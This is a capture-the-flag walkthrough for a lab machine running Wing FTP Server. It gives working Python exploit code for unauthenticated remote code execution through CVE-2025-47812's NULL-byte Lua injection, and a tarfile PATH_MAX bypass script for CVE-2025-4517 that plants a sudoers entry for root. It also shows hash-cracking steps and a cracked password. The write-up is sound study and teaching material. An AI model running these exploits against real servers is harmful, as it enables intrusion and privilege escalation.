Machine Info
- Name: WingData
- IP: 10.129.244.106
- OS: Linux (Debian 6.1.0-42)
- Difficulty: Easy
- Key Skills: CVE Exploitation, FTP Server Misconfiguration, Password Hash Cracking, Python tarfile Filter Bypass
Summary
WingData is a Linux machine running Wing FTP Server v7.4.3, vulnerable to CVE-2025-47812 - an unauthenticated Remote Code Execution via NULL-byte authentication bypass and Lua code injection. Initial access as the wingftp service account reveals user password hashes in Wing FTP XML configuration files. Cracking the wacky user’s SHA-256 hash (salted with “WingFTP”) provides SSH credentials. Privilege escalation exploits CVE-2025-4517, a Python tarfile extraction filter bypass via PATH_MAX overflow, through a sudo-permitted backup restoration script that extracts tar archives as root.
Attack Chain:
CVE-2025-47812 → wingftp RCE → hash extraction → crack wacky password → SSH → CVE-2025-4517 tarfile bypass → root
Reconnaissance
Port Scan
nmap -sC -sV 10.129.244.106
Key open ports:
| Port | Service | Details |
|---|---|---|
| 22 | SSH | OpenSSH 9.2p1 Debian |
| 80 | HTTP | Wing FTP Server v7.4.3 Web Interface |
The HTTP service on port 80 returns a 301 Moved Permanently redirect to http://wingdata.htb/, revealing the hostname. Adding wingdata.htb and ftp.wingdata.htb to /etc/hosts allows accessing the Wing FTP web interface.
Virtual Host Discovery
The Wing FTP server responds to the virtual host ftp.wingdata.htb, which serves the FTP web client interface at the root path.
Initial Foothold - CVE-2025-47812
Vulnerability Overview
CVE-2025-47812 is an unauthenticated Remote Code Execution vulnerability in Wing FTP Server v7.4.3. The exploit works in two stages:
- NULL-byte authentication bypass: Sending a username containing a NULL byte (
%00) followed by Lua code to/loginok.htmlbypasses authentication and injects Lua code into the session handler. - Lua code execution: When the session is accessed via
/dir.html, the injected Lua code executes server-side with the privileges of the Wing FTP service.
Exploitation
The exploit payload injects Lua io.popen() calls after the NULL byte to achieve command execution:
POST /loginok.html HTTP/1.1
Host: wingdata.htb
username=anonymous%00]]
local h = io.popen("COMMAND")
local r = h:read("*a")
h:close()
print(r)
--&password=
Due to session contention on shared HTB boxes (Wing FTP has a limited anonymous session pool), a retry-based Python exploit helper is essential:
import requests, time
target = 'http://10.129.244.106'
headers = {'Host': 'wingdata.htb'}
def run(cmd, max_attempts=100):
for attempt in range(max_attempts):
try:
payload = (
f'username=anonymous%00]]%0d'
f'local+h+%3d+io.popen("{cmd}")%0d'
f'local+r+%3d+h%3aread("*a")%0d'
f'h%3aclose()%0dprint(r)%0d--&password='
)
r = requests.post(
f'{target}/loginok.html',
headers=headers, data=payload, timeout=3
)
uid = r.cookies.get("UID")
if uid:
r2 = requests.get(
f'{target}/dir.html',
headers=headers,
cookies={"UID": uid}, timeout=5
)
output = r2.text.split("<?xml")[0].strip()
# Always logout to free the session slot
requests.get(
f'{target}/logout.html',
headers=headers,
cookies={"UID": uid}, timeout=2
)
return output if output else "(empty)"
time.sleep(0.3)
except:
time.sleep(0.2)
return "FAILED"
print(run('id'))
# uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp)
We get RCE as wingftp (uid=1000).
Lateral Movement - Hash Cracking
Extracting Wing FTP User Hashes
Wing FTP stores user credentials in XML configuration files. The server installation is at /opt/wftpserver/:
# List user config files
run('ls /opt/wftpserver/Data/1/users/')
# anonymous.xml john.xml maria.xml steve.xml wacky.xml
Reading XML files via the exploit requires base64 encoding, since the XML content gets consumed by the response parser:
run('cat /opt/wftpserver/Data/1/users/wacky.xml | base64')
# Decode to find: <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
Extracted Hashes
- wacky:
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca - john:
c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10 - steve:
5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca - maria:
a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03
The admin hash from /opt/wftpserver/Data/_ADMINISTRATOR/admins.xml:
- admin:
a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba
Cracking the Hashes
Wing FTP Server uses SHA-256 with a static salt appended to the password. The default salt is "WingFTP". The hash format is:
SHA256(password + "WingFTP")
This corresponds to hashcat mode 1410 (sha256($pass.$salt)):
# Format: hash:salt
echo '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP' > wacky_hash.txt
hashcat -m 1410 wacky_hash.txt /usr/share/wordlists/rockyou.txt
Cracked password for wacky: !#7Blushing^*Bride5
SSH Access
ssh [email protected]
# Password: !#7Blushing^*Bride5
User Flag
cat /home/wacky/user.txt
# 9d2d720ba67c80e9338cd3159737ec6b
Privilege Escalation - CVE-2025-4517
Enumeration
Checking sudo privileges reveals a custom backup restoration script:
sudo -l
# (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
The script at /opt/backup_clients/restore_backup_clients.py accepts a backup tar file and extracts it using Python’s tarfile module with the filter="data" safety filter:
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
Vulnerability Overview
CVE-2025-4517 (also referenced as CVE-2025-4138) is a vulnerability in Python’s tarfile module where the filter="data" extraction filter can be bypassed using PATH_MAX overflow.
The filter="data" option uses os.path.realpath(strict=False) to verify that extracted files stay within the target directory. However, when the resolved path exceeds Linux’s PATH_MAX (4096 bytes), os.path.realpath() silently stops resolving symlinks and falls back to string manipulation. This allows a crafted symlink chain to escape the extraction directory.
Building the Exploit
The exploit creates a tar archive with:
- Symlink chain inflation: 16 levels of directories with 247-character names, each paired with a single-character symlink pointing to it. This consumes most of the PATH_MAX budget.
- Pivot symlink: A long-named symlink in the chain that points back to the extraction root via
../traversal. - Escape symlink: Points through the pivot to reach
/etcon the filesystem. - Payload file: Written at
escape/sudoers.d/wackyto grant passwordless sudo.
#!/usr/bin/env python3
import io, os, tarfile
DIR_COMP_LEN = 247
CHAIN_STEPS = 'abcdefghijklmnop'
LONG_LINK_LEN = 254
target_user = 'wacky'
payload = f'{target_user} ALL=(ALL) NOPASSWD: ALL\n'.encode()
with tarfile.open('backup_1001.tar', 'w') as tar:
comp = 'd' * DIR_COMP_LEN
inner_path = ''
# Stage 1: Inflate PATH_MAX with symlink chain
for step in CHAIN_STEPS:
d_path = os.path.join(inner_path, comp)
d = tarfile.TarInfo(name=d_path)
d.type = tarfile.DIRTYPE
d.mode = 0o755
tar.addfile(d)
s = tarfile.TarInfo(name=os.path.join(inner_path, step))
s.type = tarfile.SYMTYPE
s.linkname = comp
tar.addfile(s)
inner_path = d_path
# Stage 2: Pivot symlink back to extraction root
pivot_name = os.path.join('/'.join(CHAIN_STEPS), 'l' * LONG_LINK_LEN)
pivot = tarfile.TarInfo(name=pivot_name)
pivot.type = tarfile.SYMTYPE
pivot.linkname = '../' * len(CHAIN_STEPS)
tar.addfile(pivot)
# Stage 3: Escape to /etc via pivot
esc = tarfile.TarInfo(name='escape')
esc.type = tarfile.SYMTYPE
esc.linkname = pivot_name + '/' + ('../' * 8) + 'etc'
tar.addfile(esc)
# Stage 4: Write sudoers payload
sd = tarfile.TarInfo(name='escape/sudoers.d')
sd.type = tarfile.DIRTYPE
sd.mode = 0o755
tar.addfile(sd)
p = tarfile.TarInfo(name=f'escape/sudoers.d/{target_user}')
p.size = len(payload)
p.mode = 0o440
p.type = tarfile.REGTYPE
tar.addfile(p, io.BytesIO(payload))
Exploitation
# Copy the malicious tar to the backup directory
cp /tmp/backup_1001.tar /opt/backup_clients/backups/backup_1001.tar
# Run the vulnerable restore script as root
sudo /usr/local/bin/python3 \
/opt/backup_clients/restore_backup_clients.py \
-b backup_1001.tar -r restore_wacky
# Verify the sudoers file was created
ls -la /etc/sudoers.d/
# -rw-r----- 1 root root 30 Dec 31 1969 wacky
# Escalate to root
sudo su
Root Flag
cat /root/root.txt
# eebd21a5625d5e5b0a7b28ae68e02070
Key Takeaways
- CVE-2025-47812 demonstrates how NULL-byte injection can bypass authentication in applications that mix C-style string handling (NULL termination) with higher-level language processing (Lua).
- Wing FTP’s static salt (“WingFTP”) for password hashing makes all instances share the same salt, enabling pre-computation attacks. A per-user random salt would significantly harden password storage.
- CVE-2025-4517 is a subtle vulnerability that exploits the gap between userspace path validation (
os.path.realpath) and kernel-level symlink resolution when paths exceed PATH_MAX. Python’sfilter="data"was introduced specifically as a security measure, but this bypass renders it ineffective on paths exceeding 4096 bytes. - Defense in depth: The sudo rule should have restricted the
--backupargument to prevent user-controlled tar files, or used a dedicated extraction method that validates paths at the kernel level rather than relying on Python’s userspace checks.
